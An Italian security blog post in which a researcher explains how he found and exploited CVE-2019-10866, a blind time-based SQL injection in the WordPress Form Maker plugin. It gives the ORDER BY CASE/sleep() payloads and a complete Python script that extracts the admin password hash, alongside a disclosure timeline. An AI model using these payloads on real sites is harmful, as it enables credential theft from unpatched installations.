Security

Weaponize 'order by' SQLi on WordPress Form Maker plugin (CVE-2019-10866)

Admin password?

Daniele Scanu Maggio, 2020
Weaponize 'order by' SQLi on WordPress Form Maker plugin (CVE-2019-10866)
Form Maker è un noto plugin di WordPress che conta oltre 100.000 installazioni attive stimate e milioni di download totali.
Il plugin, gestibile tramite apposito pannello nel menù di amministrazione, permette di creare form tramite un'interfaccia drag&drop.
In una delle funzionalità analizzate, abbiamo individuato una SQL Injection, oggi identificata con il CVE 2019-10866.
In questo articolo vedremo come è stato possibile ottenere la password dell'amministratore, approfittando della vulnerabilità scoperta.

Analisi della query

Dall'analisi statica del codice sorgente del plugin, è stata trovata una funzione in cui viene costruita una query SQL interessante.
La query, infatti, viene costruita concatenando insieme più porzioni di stringhe, unendole infine all'input utente ottenuto dal parametro GET asc_or_desc, dando quindi la possibilità all'utente di controllare l'ordine dei risultati tramite le keyword asc o desc come mostrato nella figura che segue:
WP Form Maker Plugin - Admin panel param
Su questo ultimo parametro non viene eseguito nessun controllo, lasciando così la possibilità ad un attaccante di modificare la query ottenendo una SQL injection.
Di seguito un esempio della query:
SELECT distinct group_id FROM wp_formmaker_submits WHERE  form_id=1  ORDER BY date asc
Una particolarità del linguaggio SQL è data dal fatto che non sia possibile aggiungere costrutti come UNION, WHERE, AND o OR dopo aver inserito il costrutto ORDER BY, con la conseguenza che eventuali payload di SQL Injection diventano inutili.
L'obiettivo è quindi trovare un modo per sfruttare la vulnerabilità e questo è stato possibile tramite l'utilizzo del costrutto CASE:
CASE WHEN (CONDIZIONE) THEN (CASO_1) ELSE (CASO_2) END
Trasformando la query originale nella seguente:
SELECT distinct group_id FROM wp_formmaker_submits WHERE  form_id=1  ORDER BY date, (CASE WHEN (CONDIZIONE) THEN (CASO_1) ELSE (CASO_2) END)
In questo modo, inserendo il costrutto direttamente dopo la ORDER BY, è possibile aggiungere una query SQL nella condizione del CASE, che come risultato eseguirà il branch CASO_1 oppure CASO_2.

Time is the key

Purtroppo, questa tecnica non permette di fare data exfiltration direttamente poiché il risulato del costrutto CASE è in grado di controllare solo l'ordine della query originale, rendendo così l'injection di tipo blind.
Un modo per bypassare questa limitazione, ed ottenere dei dati, è l'inserimento della funzione SQL sleep() all'interno di uno dei due "case", CASO_1 oppure CASO_2. In questo modo è possibile riconoscere quale dei due branch è stato eseguito basandosi sul tempo di risposta.
Il payload si trasforma così nel seguente:
SELECT distinct group_id FROM wp_formmaker_submits WHERE  form_id=1  ORDER BY date, (CASE WHEN (CONDIZIONE) THEN (select sleep(5) from wp_users) ELSE (2) END)
In questo modo, se la condizione risulta vera, allora viene eseguita la sleep di 5 secondi, in alternativa non viene applicato nessun ritardo.
A questo punto è stato necessario costruire la condizione!
Siccome l'obiettivo è compromettere le credenziali dell'amministratore, ci si è concentrati sulla relativa password. In Wordpress i dati relativi agli utenti, e le rispettive credenziali, sono salvati all'interno della tabella wp_users nei campi user e user_pass. La condizione è stata quindi costruita come segue:
SELECT distinct group_id FROM wp_formmaker_submits WHERE  form_id=1  ORDER BY date, (CASE WHEN (select ascii(substring(user_pass,1,1)) from wp_users where id=1)=41 THEN (select sleep(5) from wp_users) ELSE (2) END)
Osservando la porzione di payload (select ascii(substring(user_pass,1,1)) from wp_users where id=1)=41, è possibile notare che è stata selezionata la colonna user_pass dalla tabella wp_users filtrando per l'utente con id uguale ad 1. Tramite la funzione substring() viene selezionato un carattere dal valore trovato in user_pass, convertendolo in un numero intero con la funzione ascii() per poi, infine, confrontarlo con un carattere dell'alfabeto in decimale, il valore 41 (")")nell'esempio.
In caso di risultato positivo si finisce con l'eseguire la funzione sleep() contenuta in CASO_1, altrimenti si cade nel CASO_2 e viene data subito una risposta all'utente.
WordPress Form Maker plugin - Admin password hash
Procedendo in questo modo, ed iterando su tutta la lunghezza della password e su tutti i caratteri dell'alfabeto per ogni posizione, è stato possibile ottenere l'hash della password dell'amministratore!
Infine, l'exploit è stato automatizzato con uno script in python e rilasciato su exploit-db al seguente indirizzo: WordPress Plugin Form Maker 1.13.3 - SQL Injection.
# -*- coding: utf-8 -*-
# Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection
# Date: 22-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://10web.io/plugins/
# Software Link: https://wordpress.org/plugins/form-maker/
# Version: 1.13.3
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-10866

import requests
import time

url_vuln = 'http://192.168.1.54/wordpress/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc='
session = requests.Session()
dictionary = '@._-$/\\"£%&;§+*1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
flag = True
username = "admin"
password = "qwerty"
temp_password = ""
TIME = 0.5

def login(username, password):
    payload = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Login',
        'redirect_to': 'http://192.168.1.54/wordpress/wp-admin/',
        'testcookie': 1
    }
    session.post('http://192.168.1.54/wordpress/wp-login.php', data=payload)

def print_string(str):
    print "\033c"
    print str

def get_admin_pass():
    len_pwd = 1
    global flag
    global temp_password
    while flag:
        flag = False
        ch_temp = ''
        for ch in dictionary:
            print_string("[*] Password dump: " + temp_password + ch)
            ch_temp = ch
            start_time = time.time()
            r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b')
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            temp_password += ch_temp
            len_pwd += 1

login(username, password)
get_admin_pass()
print_string("[+] Password found: " + temp_password)
  Timeline
Data Cosa
23 marzo 2019 La vulnerabilità è stata scoperta e segnalata agli sviluppatori
25 marzo 2019 10Web rilascia la patch con la versione 1.13.4.
10 maggio 2019 La vulnerabilità è stata pubblicata su SecLists.Org
23 maggio 2019 Il MITRE assegna il CVE 2019-10866
03 giugno 2019 L'exploit è stato rilasciato su Exploit-DB

Summary

In questo articolo abbiamo visto come lasciare all'utente la possibilità di ordinare i risultati di una query, senza nessuna verifica sull'input, possa portare ad attacchi di tipo SQL Injectione e quindi a data exfiltration.

Riferimenti

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.